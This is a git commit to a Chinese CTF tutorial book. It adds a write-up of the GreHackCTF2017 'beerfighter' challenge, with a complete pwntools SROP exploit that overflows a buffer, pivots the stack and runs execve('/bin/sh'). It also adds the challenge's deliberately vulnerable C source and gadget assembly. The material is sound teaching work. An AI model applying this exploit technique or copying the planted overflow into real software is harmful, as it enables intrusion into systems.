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finish 6.1.5
This commit is contained in:
parent
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@ -54,10 +54,10 @@ x86 体系下函数的调用总是这样的:
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PUSH ebp ; 函数开始(使用ebp前先把已有值保存到栈中)
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MOV ebp, esp ; 保存当前esp到ebp中
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... ; 函数体
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; 无论esp值如何变化,ebp都保持不变,可以安全访问函数的局部变量、参数
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MOV esp, ebp ; 将函数的其实地址返回到esp中
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POP ebp ; 函数返回前弹出保存在栈中的ebp值
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... ; 函数体
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; 无论esp值如何变化,ebp都保持不变,可以安全访问函数的局部变量、参数
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MOV esp, ebp ; 将函数的其实地址返回到esp中
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POP ebp ; 函数返回前弹出保存在栈中的ebp值
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RET ; 函数返回并跳转
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```
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@ -209,7 +209,7 @@ void *sbrk(intptr_t increment);
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在上图中我们看到 brk 指示堆结束地址,start_brk 指示堆开始地址。BSS segment 和 heap 之间有一段 Random brk offset,这是由于 ASLR 的作用,如果关闭了 ASLR,则 Random brk offset 为 0,堆结束地址和数据段开始地址重合。
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例子:[源码](../src/Others/1.5.7_brk.c)
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```
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```C
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#include <stdio.h>
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#include <unistd.h>
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void main() {
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@ -348,7 +348,7 @@ int munmap(void *addr, size_t len);
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```
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例子:[源码](../src/Others/1.5.7_mmap.c)
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```
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```C
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#include <stdio.h>
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#include <sys/mman.h>
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#include <unistd.h>
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@ -424,7 +424,7 @@ void *realloc(void *ptr, size_t size);
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```
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示例:
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```
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```C
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#include<stdio.h>
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#include<malloc.h>
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void foo(int n) {
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@ -1,7 +1,7 @@
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# 6.1.4 pwn BackdoorCTF2017 Fun-Signals
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- [SROP 原理](#srop-原理)
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- [Linux 系统调用](#Linux 系统调用)
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- [Linux 系统调用](#linux-系统调用)
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- [signal 机制](#signal-机制)
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- [BackdoorCTF2017 Fun Signals](#backdoorctf2017-fun-signals)
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- [参考资料](#参考资料)
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@ -155,7 +155,7 @@ io.interactive()
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```
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```
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$ python2 exp_funsignals.py
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[*] '/home/firmy/Desktop/RE4B/srop/funsignals_player_bin'
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[*] '/home/firmy/Desktop/funsignals_player_bin'
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Arch: amd64-64-little
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RELRO: No RELRO
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Stack: No canary found
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@ -1,6 +1,179 @@
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# 6.1.5 pwn GreHackCTF2017 beerfighter
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- [题目解析](#题目解析)
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- [Exploit](#exploit)
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## 题目解析
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```
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$ file game
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game: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=1f9b11cb913afcbbbf9cb615709b3c62b2fdb5a2, stripped
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```
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64 位,静态链接,stripped。
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既然是个小游戏,先玩一下,然后发现,进入 City Hall 后,有一个可以输入字符串的地方,然而即使我们什么也不输入,直接回车,在 Leave the town 时也会出现 Segmentation fault:
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```
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[0] The bar
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[1] The City Hall
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[2] The dark yard
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[3] Leave the town for ever
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Type your action number > 1
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Welcome Newcomer! I am the mayor of this small town and my role is to register the names of its citizens.
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How should I call you?
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[0] Tell him your name
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[1] Leave
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Type your action number > 0
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Type your character name here >
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...
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[0] The bar
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[1] The City Hall
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[2] The dark yard
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[3] Leave the town for ever
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Type your action number > 3
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By !
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Segmentation fault (core dumped)
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```
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程序大概清楚了,看代码吧,经过一番搜索,发现了一个很有意思的函数:
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```
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[0x00400d8e]> pdf @ fcn.00400773
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/ (fcn) fcn.00400773 15
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| fcn.00400773 ();
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| ; CALL XREF from 0x00400221 (fcn.004001f3)
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| ; CALL XREF from 0x004002b6 (fcn.00400288)
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| 0x00400773 4889f8 mov rax, rdi
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| 0x00400776 4889f7 mov rdi, rsi
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| 0x00400779 4889d6 mov rsi, rdx
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| 0x0040077c 4889ca mov rdx, rcx
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| 0x0040077f 0f05 syscall
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\ 0x00400781 c3 ret
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```
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`syscall;ret`,你想到了什么,对,就是前面讲的 SROP。
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其实前面的输入一个字符串,程序也是通过 syscall 来读入的,从函数 `0x004004b8` 开始仔细跟踪代码后就会知道,系统调用为 `read()`。
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```
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gdb-peda$ pattern_offset $ebp
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1849771374 found at offset: 1040
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```
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缓冲区还挺大的,`1040+8=1048`。
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好,现在思路已经清晰了,先利用缓冲区溢出漏洞,用 `syscall;ret` 地址覆盖返回地址,通过 frame\_1 调用 `read()` 读入 frame_2 到 `.data` 段(这个程序没有`.bss`,而且`.data`可写),然后将栈转移过去,调用 `execve()` 执行“/bin/sh”,从而拿到 shell。
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构造 sigreturn:
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```
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$ ropgadget --binary game --only "pop|ret"
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...
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0x00000000004007b2 : pop rax ; ret
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```
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```python
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# sigreturn syscall
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sigreturn = p64(pop_rax_addr)
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sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf
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sigreturn += p64(syscall_addr)
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```
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然后是 frame_1,通过设定 `frame_1.rsp = base_addr` 来转移栈:
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```python
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# frame_1: read frame_2 to .data
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frame_1 = SigreturnFrame()
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frame_1.rax = constants.SYS_read
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frame_1.rdi = constants.STDIN_FILENO
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frame_1.rsi = data_addr
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frame_1.rdx = len(str(frame_2))
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frame_1.rsp = base_addr # stack pivot
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frame_1.rip = syscall_addr
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```
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frame_2 执行 `execve()`:
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```python
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# frame_2: execve to get shell
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frame_2 = SigreturnFrame()
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frame_2.rax = constants.SYS_execve
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frame_2.rdi = data_addr
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frame_2.rsi = 0
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frame_2.rdx = 0
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frame_2.rip = syscall_addr
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```
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Bingo!!!
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```
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$ python2 exp.py
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[*] '/home/firmy/Desktop/game'
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Arch: amd64-64-little
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RELRO: Partial RELRO
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Stack: No canary found
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NX: NX enabled
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PIE: No PIE (0x400000)
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[+] Starting local process './game': pid 12975
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[*] Switching to interactive mode
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By !
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$ whoami
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firmy
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```
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## Exploit
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完整的 exp 如下,其他文件放在了[github](../src/writeup/6.1.5_pwn_grehackctf2017_beerfighter)相应文件夹中:
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```python
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from pwn import *
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elf = ELF('./game')
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io = process('./game')
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io.recvuntil("> ")
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io.sendline("1")
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io.recvuntil("> ")
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io.sendline("0")
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io.recvuntil("> ")
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context.clear()
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context.arch = "amd64"
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data_addr = elf.get_section_by_name('.data').header.sh_addr + 0x10
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base_addr = data_addr + 0x8 # new stack address
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# useful gadget
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pop_rax_addr = 0x00000000004007b2 # pop rax ; ret
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syscall_addr = 0x000000000040077f # syscall ;
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# sigreturn syscall
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sigreturn = p64(pop_rax_addr)
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sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf
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sigreturn += p64(syscall_addr)
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# frame_2: execve to get shell
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frame_2 = SigreturnFrame()
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frame_2.rax = constants.SYS_execve
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frame_2.rdi = data_addr
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frame_2.rsi = 0
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frame_2.rdx = 0
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frame_2.rip = syscall_addr
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# frame_1: read frame_2 to .data
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frame_1 = SigreturnFrame()
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frame_1.rax = constants.SYS_read
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frame_1.rdi = constants.STDIN_FILENO
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frame_1.rsi = data_addr
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frame_1.rdx = len(str(frame_2))
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frame_1.rsp = base_addr # stack pivot
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frame_1.rip = syscall_addr
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payload_1 = "A" * 1048
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payload_1 += sigreturn
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payload_1 += str(frame_1)
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io.sendline(payload_1)
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io.recvuntil("> ")
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io.sendline("3")
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payload_2 = "/bin/sh\x00"
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payload_2 += sigreturn
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payload_2 += str(frame_2)
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io.sendline(payload_2)
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io.interactive()
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```
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40
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/Makefile
Normal file
40
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/Makefile
Normal file
@ -0,0 +1,40 @@
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SRC_DIR = src
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INC_DIR = inc
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OBJ_DIR = obj
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BIN_DIR = bin
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OUT_DIR = $(OBJ_DIR) $(BIN_DIR)
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CC = gcc
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LD = gcc
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INC = -I $(INC_DIR)
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DEBUGFLAG=-g
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CFLAGS= $(INC) -nostdlib -fno-stack-protector -Wl,-z,relro,-z,now,-z,noexecstack -static -Wno-builtin-declaration-mismatch -s
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LDFLAGS= -nostdlib -fno-stack-protector -Wl,-z,relro,-z,now,-z,noexecstack -static -Wno-builtin-declaration-mismatch -s
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MKDIR_P = mkdir -p
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.PHONY: directories
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OBJ_FILES = $(OBJ_DIR)/main.o $(OBJ_DIR)/io.o $(OBJ_DIR)/strings.o $(OBJ_DIR)/lib.o
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ASM_FILES = $(SRC_DIR)/syscalls.S $(SRC_DIR)/start.S $(SRC_DIR)/gadgets.S
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TARGET = $(BIN_DIR)/aaaaaa
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all: directories $(TARGET)
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directories: $(OUT_DIR)
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$(OUT_DIR):
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$(MKDIR_P) $(OUT_DIR)
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$(TARGET): $(OBJ_FILES)
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$(LD) $(LDFLAGS) $(OBJ_FILES) $(ASM_FILES) -o $(TARGET)
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$(OBJ_DIR)/%.o : $(SRC_DIR)/%.c $(INC_DIR)/*.h
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$(CC) $(CFLAGS) -c $< -o $@
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.PHONY: clean
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clean:
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rm -f $(TARGET) $(OBJ_FILES) $(BIN_DIR)/*
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@ -0,0 +1,9 @@
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# Exploit 250
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Category: Exploit
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Points: 250
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Author: Valno
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Description:
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> Play the game at: www.myabandonware.com:5500
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56
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/exp.py
Normal file
56
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/exp.py
Normal file
@ -0,0 +1,56 @@
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from pwn import *
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elf = ELF('./game')
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io = process('./game')
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io.recvuntil("> ")
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io.sendline("1")
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io.recvuntil("> ")
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io.sendline("0")
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io.recvuntil("> ")
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context.clear()
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context.arch = "amd64"
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data_addr = elf.get_section_by_name('.data').header.sh_addr + 0x10
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base_addr = data_addr + 0x8 # new stack address
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# useful gadget
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pop_rax_addr = 0x00000000004007b2 # pop rax ; ret
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syscall_addr = 0x000000000040077f # syscall ;
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# sigreturn syscall
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sigreturn = p64(pop_rax_addr)
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sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf
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sigreturn += p64(syscall_addr)
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# frame_2: execve to get shell
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frame_2 = SigreturnFrame()
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frame_2.rax = constants.SYS_execve
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frame_2.rdi = data_addr
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frame_2.rsi = 0
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frame_2.rdx = 0
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frame_2.rip = syscall_addr
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# frame_1: read frame_2 to .data
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frame_1 = SigreturnFrame()
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frame_1.rax = constants.SYS_read
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frame_1.rdi = constants.STDIN_FILENO
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frame_1.rsi = data_addr
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frame_1.rdx = len(str(frame_2))
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frame_1.rsp = base_addr # stack pivot
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frame_1.rip = syscall_addr
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payload_1 = "A" * 1048
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payload_1 += sigreturn
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payload_1 += str(frame_1)
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io.sendline(payload_1)
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io.recvuntil("> ")
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io.sendline("3")
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payload_2 = "/bin/sh\x00"
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payload_2 += sigreturn
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payload_2 += str(frame_2)
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io.sendline(payload_2)
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io.interactive()
|
BIN
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/game
Executable file
BIN
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/game
Executable file
Binary file not shown.
28
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/inc/io.h
Normal file
28
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/inc/io.h
Normal file
@ -0,0 +1,28 @@
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#ifndef __IO_H__
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#define __IO_H__
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#include "types.h"
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#include "syscall_constants.h"
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#include "syscalls.h"
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#define STDIN 0
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#define STDOUT 1
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#define STDERR 2
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static intptr write(int fd, void const* data, uintptr nbytes);
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uintptr strlen(char const* str);
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uintptr puts(char const* str);
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intptr read(int fd, char* buf, uintptr count);
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int getchar(void);
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char* gets(char* str);
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char* fgets(char *str, int n, int stream);
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int getdigit(char *inputphrase, int a, int b);
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#endif
|
26
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/inc/lib.h
Normal file
26
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/inc/lib.h
Normal file
@ -0,0 +1,26 @@
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#ifndef __LIB__H_
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#define __LIB_H__
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#include "syscall_constants.h"
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#include "strings.h"
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#include "io.h"
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#define SIZEBUF 2048
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#define SIZENAME 1024
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struct Character{
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char name[SIZENAME];
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unsigned int level;
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};
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void city_hall(struct Character* perso);
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void welcome_message();
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int village_place(struct Character* perso);
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void bar();
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void champion();
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#endif
|
@ -0,0 +1,6 @@
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#ifndef __STRINGS_H__
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#define __STRINGS_H__
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char* strncpy(char* dest, const char* src, int n);
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#endif
|
@ -0,0 +1,7 @@
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#ifndef __SYSCALL_CONSTANTS_H__
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#define __SYSCALL_CONSTANTS_H__
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#define SYS_read 0
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#define SYS_write 1
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#endif
|
@ -0,0 +1,17 @@
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#ifndef __SYSCALLS_H__
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#define __SYSCALLS_H__
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|
||||
#include <types.h>
|
||||
|
||||
void* syscall0(
|
||||
uintptr number
|
||||
);
|
||||
|
||||
void* syscall3(
|
||||
uintptr number,
|
||||
void* arg1,
|
||||
void* arg2,
|
||||
void* arg3
|
||||
);
|
||||
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#endif
|
@ -0,0 +1,7 @@
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#ifndef __TYPES_H__
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||||
#define __TYPES_H__
|
||||
|
||||
typedef unsigned long int uintptr; /* size_t */
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||||
typedef long int intptr; /* ssize_t */
|
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|
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#endif
|
@ -0,0 +1,27 @@
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.intel_syntax noprefix
|
||||
.intel_syntax noprefix
|
||||
|
||||
inc rdi
|
||||
ret
|
||||
|
||||
xor rdi, rdi
|
||||
ret
|
||||
|
||||
pop rsi
|
||||
ret
|
||||
|
||||
and rdx, rsi
|
||||
ret
|
||||
|
||||
and rcx, rsi
|
||||
ret
|
||||
|
||||
pop r8
|
||||
ret
|
||||
|
||||
pop rax
|
||||
ret
|
||||
|
||||
mov dword ptr [rsi], r8d
|
||||
ret
|
||||
|
75
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/io.c
Normal file
75
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/io.c
Normal file
@ -0,0 +1,75 @@
|
||||
#include "io.h"
|
||||
|
||||
static intptr write(int fd, void const* data, uintptr nbytes){
|
||||
return (intptr) syscall3(
|
||||
SYS_write, /* SYS_write */
|
||||
(void*)(intptr) fd,
|
||||
(void*)data,
|
||||
(void*)nbytes
|
||||
);
|
||||
}
|
||||
|
||||
uintptr strlen(char const* str){
|
||||
char const *p;
|
||||
for(p=str; *p; p++);
|
||||
return p - str;
|
||||
}
|
||||
|
||||
uintptr puts(char const* str){
|
||||
return write(STDOUT, str, strlen(str));
|
||||
}
|
||||
|
||||
intptr read(int fd, char* buf, uintptr count){
|
||||
return (intptr) syscall3(
|
||||
SYS_read,
|
||||
(void*)(intptr) fd,
|
||||
(void*) buf,
|
||||
(void*) count
|
||||
);
|
||||
}
|
||||
|
||||
int getchar(void){
|
||||
char c[1];
|
||||
read(STDIN, c, 1);
|
||||
return (int) c[0];
|
||||
}
|
||||
|
||||
char* gets(char* str){
|
||||
char c;
|
||||
char *r = str;
|
||||
for(c=getchar(); c != '\n' && c != '\0'; str++, c=getchar()){
|
||||
*str = c;
|
||||
}
|
||||
*str = '\0';
|
||||
return r;
|
||||
}
|
||||
|
||||
char* fgets(char *str, int n, int stream){
|
||||
char c=getchar();
|
||||
int i = 0;
|
||||
char *r = str;
|
||||
char d[2];
|
||||
while(c != '\n'){
|
||||
if(i<n-1){
|
||||
*str = c;
|
||||
str++;
|
||||
}
|
||||
i++;
|
||||
c = getchar();
|
||||
}
|
||||
*str = '\0';
|
||||
return r;
|
||||
}
|
||||
|
||||
int getdigit(char *inputphrase, int a, int b){
|
||||
char str[3];
|
||||
puts(inputphrase);
|
||||
fgets(str, 3, STDIN);
|
||||
while(strlen(str) != 1 || str[0]>57-9+b || str[0]<48+a){
|
||||
puts("Invalid number, try again.\n");
|
||||
puts(inputphrase);
|
||||
fgets(str, 3, STDIN);
|
||||
puts("\n");
|
||||
}
|
||||
return str[0]-48;
|
||||
}
|
144
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/lib.c
Normal file
144
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/lib.c
Normal file
@ -0,0 +1,144 @@
|
||||
#include "lib.h"
|
||||
|
||||
|
||||
void welcome_message(){
|
||||
char *message = "\n"
|
||||
"__________________________________\n"
|
||||
"\n"
|
||||
"--- Welcome in BeerFigher III ---\n"
|
||||
"__________________________________\n"
|
||||
"\n"
|
||||
"You just arrived in the small village of Foo in\n"
|
||||
"the country, after a long day of travel.\n"
|
||||
"Thirsty, you could just go and grab a beer at the\n"
|
||||
"bar. You may also go in the city hall and get\n"
|
||||
"registered with the mayor.\n"
|
||||
"\n"
|
||||
"\n";
|
||||
puts(message);
|
||||
}
|
||||
|
||||
void city_hall(struct Character* perso){
|
||||
char digit;
|
||||
char name[SIZEBUF];
|
||||
puts("Welcome ");
|
||||
puts(perso->name);
|
||||
puts("! I am the mayor of this small town and my role is to register the names of its citizens.\nHow should I call you?\n");
|
||||
puts("[0] Tell him your name\n");
|
||||
puts("[1] Leave\n");
|
||||
digit = getdigit("Type your action number > ", 0, 1);
|
||||
|
||||
switch(digit){
|
||||
case 0:
|
||||
puts("Type your character name here > ");
|
||||
fgets(name, SIZEBUF, STDIN);
|
||||
strncpy(perso->name, name, SIZEBUF);
|
||||
puts("\n");
|
||||
break;
|
||||
case 1:
|
||||
puts("You just left the old man without even saying \"Good bye\"\n");
|
||||
break;
|
||||
default:
|
||||
puts("Invalid action\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
int village_place(struct Character* perso){
|
||||
char *message = "\n\n"
|
||||
" ~ ~~ __\n"
|
||||
" _T .,,. ~--~ ^^\n"
|
||||
" ^^ // \\ ~\n"
|
||||
" ][O] ^^ ,-~ ~\n"
|
||||
" /''-I_I _II____\n"
|
||||
" __/_ / \\ ______/ '' /'\\_,__\n"
|
||||
" | II--'''' \\,--:--..,_/,.-{ },\n"
|
||||
" ; '/__\\,.--';| |[] .-.| O{ _ }\n"
|
||||
" :' | | [] -| ''--:.;[,.'\\,/\n"
|
||||
" ' |[]|,.--'' '', ''-,. |\n"
|
||||
" .. ..-'' ; ''. '\n"
|
||||
"\n"
|
||||
"You are in the village square.\n"
|
||||
"In front of you can see the entrance of the local\n"
|
||||
"bar from where one could hear laughter and singing.\n"
|
||||
"On your\n"
|
||||
"left stands is the massive front of the city hall that\n"
|
||||
"dominates the village. On your right, in the \n"
|
||||
"shadow of the bar, an alley filled with unconscious bodies and\n"
|
||||
"empty pints leads to a dark yard where the most\n"
|
||||
"valiant barflies of the country can face each other.\n"
|
||||
"It's time to choose in which place you will enter !\n"
|
||||
"------------\n\n";
|
||||
char *choice0 = "[0] The bar\n";
|
||||
char *choice1 = "[1] The City Hall\n";
|
||||
char *choice2 = "[2] The dark yard\n";
|
||||
char *choice3 = "[3] Leave the town for ever\n";
|
||||
|
||||
puts(message);
|
||||
puts(choice0);
|
||||
puts(choice1);
|
||||
puts(choice2);
|
||||
puts(choice3);
|
||||
int digit = getdigit("Type your action number > ", 0, 3);
|
||||
|
||||
switch(digit){
|
||||
case 0:
|
||||
bar();
|
||||
break;
|
||||
case 1:
|
||||
city_hall(perso);
|
||||
break;
|
||||
case 2:
|
||||
champion();
|
||||
break;
|
||||
case 3:
|
||||
puts("By !\n");
|
||||
return 0;
|
||||
break;
|
||||
default:
|
||||
puts("Invalid choice\n");
|
||||
break;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
void bar(){
|
||||
char digit;
|
||||
char *message = "\n\n"
|
||||
" _.._..,_,_ \n"
|
||||
" ( )\n"
|
||||
" ]~,\"-.-~~[ Welcome in Foo bar\n"
|
||||
" .=])' (; ([ ---\n"
|
||||
" | ]:: ' [ We are currently close\n"
|
||||
" '=]): .) ([ Please, come back later\n"
|
||||
" |:: ' |\n"
|
||||
" ~~----~~\n"
|
||||
"\n\n";
|
||||
puts(message);
|
||||
|
||||
puts("[0] Leave\n");
|
||||
digit = getdigit("Type your action number > ", 0, 0);
|
||||
switch(digit){
|
||||
case 0:
|
||||
puts("You just left the bar\n");
|
||||
break;
|
||||
default:
|
||||
puts("Invalid action\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void champion(){
|
||||
char digit;
|
||||
puts("\n\n-- Feature currently in development...\n\n");
|
||||
puts("[0] Leave\n");
|
||||
digit = getdigit("Type your action number > ", 0, 0);
|
||||
switch(digit){
|
||||
case 0:
|
||||
puts("You just left the yard\n");
|
||||
break;
|
||||
default:
|
||||
puts("Invalid action\n");
|
||||
break;
|
||||
}
|
||||
}
|
16
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/main.c
Normal file
16
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/main.c
Normal file
@ -0,0 +1,16 @@
|
||||
#include "syscalls.h"
|
||||
#include "io.h"
|
||||
#include "lib.h"
|
||||
|
||||
char a[6] = {5, 8, 7, 6, 2, 7};
|
||||
|
||||
int main(int argc, char **argv){
|
||||
struct Character perso = { "Newcomer", 0};
|
||||
|
||||
welcome_message();
|
||||
while(village_place(&perso));
|
||||
|
||||
puts("\n");
|
||||
|
||||
return 0;
|
||||
}
|
18
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/start.S
Normal file
18
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/start.S
Normal file
@ -0,0 +1,18 @@
|
||||
.intel_syntax noprefix
|
||||
|
||||
.text
|
||||
.globl _start
|
||||
|
||||
_start:
|
||||
xor rbp, rbp /* rbp = 0 */
|
||||
pop rdi /* rdi = argc */
|
||||
mov rsi, rsp /*rsi = (char*) argv[] */
|
||||
and rsp, -16 /* last 4 bytes of rsp to 0 */
|
||||
|
||||
call main
|
||||
|
||||
mov rdi, rax /* syscall param 1 = return value of main */
|
||||
mov rax, 60 /* SYS_exit */
|
||||
syscall
|
||||
|
||||
ret
|
@ -0,0 +1,10 @@
|
||||
#include "strings.h"
|
||||
|
||||
char* strncpy(char* dest, const char* src, int n){
|
||||
char* r = dest;
|
||||
for(int i=0; i<n; i++, src++, dest++)
|
||||
*dest = *src;
|
||||
*dest = 0;
|
||||
|
||||
return r;
|
||||
}
|
@ -0,0 +1,17 @@
|
||||
.intel_syntax noprefix
|
||||
|
||||
.text
|
||||
.globl syscall0, syscall1, syscall2, syscall3, syscall4, syscall5
|
||||
|
||||
syscall0:
|
||||
mov rax, rdi /* rax (syscall number) = function param 1 (rdi) */
|
||||
syscall /* enter syscall */
|
||||
ret
|
||||
|
||||
syscall3:
|
||||
mov rax, rdi /* rax (syscall number) = function param 1 (rdi) */
|
||||
mov rdi, rsi /* rdi (syscall param 1) = func param 2 (rsi) */
|
||||
mov rsi, rdx /* rsi (syscall param 2) = func param 3 (rdx) */
|
||||
mov rdx, rcx /* rdx (syscall param 3) = func param 4 (rcx) */
|
||||
syscall /* enter syscall */
|
||||
ret
|
Loading…
Reference in New Issue
Block a user